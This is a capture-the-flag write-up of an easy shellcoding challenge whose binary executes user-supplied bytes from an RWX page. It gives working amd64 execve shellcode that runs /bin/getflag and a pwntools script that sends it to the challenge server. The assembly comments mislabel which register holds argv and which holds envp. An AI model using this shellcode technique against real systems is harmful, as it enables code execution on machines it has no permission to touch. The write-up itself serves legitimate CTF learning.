Mic Check — getflag
Mic Check — getflag
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: execve_shellcode, raw_syscall, stack_string_build
Summary
Task: trivial shellcode runner that mmaps an RWX page, reads up to 0x400 bytes of input, copies them in and calls them; goal is to exec /bin/getflag. Solution: 34-byte amd64 shellcode that pushes the string '/bin/getflag\0' on the stack and calls execve via syscall 59.
Mic Check — getflag — SPB CTF Pwn Season
Description
Run the shellcode and call
/bin/getflagnc 109.233.56.90 11667
Category: Mic Check (shellcoding), 10 pts
Binary: task — ELF x86-64, NX, No PIE, not stripped
Analysis
main performs the canonical shellcode-runner pattern:
mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0)— allocates a0x1000RWX page.fread(local_buf, 1, 0x400, stdin)— reads up to 1024 bytes from stdin into a stack buffer.memcpy(rwx_page, local_buf, 0x400)— copies user data into the RWX region.call *rwx_page— hands control to our bytes.
There is no syscall filter and no restriction on the shellcode bytes. The flag is retrieved by executing the external helper program /bin/getflag, so we need an execve("/bin/getflag", NULL, NULL) primitive.
Solution
We build the string /bin/getflag\0 on the stack with three pushes and issue execve directly via syscall (SYS_execve = 59 on amd64 Linux):
nasm read-only • copy allowedBITS 64 xor rsi, rsi ; rsi = 0 (envp = NULL, and the trailing NUL) push rsi ; stack: \0\0\0\0\0\0\0\0 mov rax, 0x67616c66 ; "flag" push rax mov rax, 0x7465672f6e69622f ; "/bin/get" push rax ; stack now holds "/bin/getflag\0\0\0\0" mov rdi, rsp ; rdi -> filename xor rdx, rdx ; rdx = 0 (argv = NULL) mov rax, 59 ; SYS_execve syscall
The assembled shellcode is 34 bytes; rsi and rdx are both zero so the kernel sees execve("/bin/getflag", NULL, NULL).
A small implementation detail: on macOS the pwntools host tool chain does not ship an amd64 GNU assembler by default, so pwnlib.asm cannot assemble this. We assembled it with nasm directly and fed the raw bytes to the remote.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * sc = open('sc.bin', 'rb').read() print("shellcode size:", len(sc), "hex:", sc.hex()) p = remote('109.233.56.90', 11667) p.send(sc) p.shutdown('send') data = p.recvall(timeout=5) print("=== OUTPUT ===") print(data.decode(errors='replace'))
Remote returns the flag printed by /bin/getflag.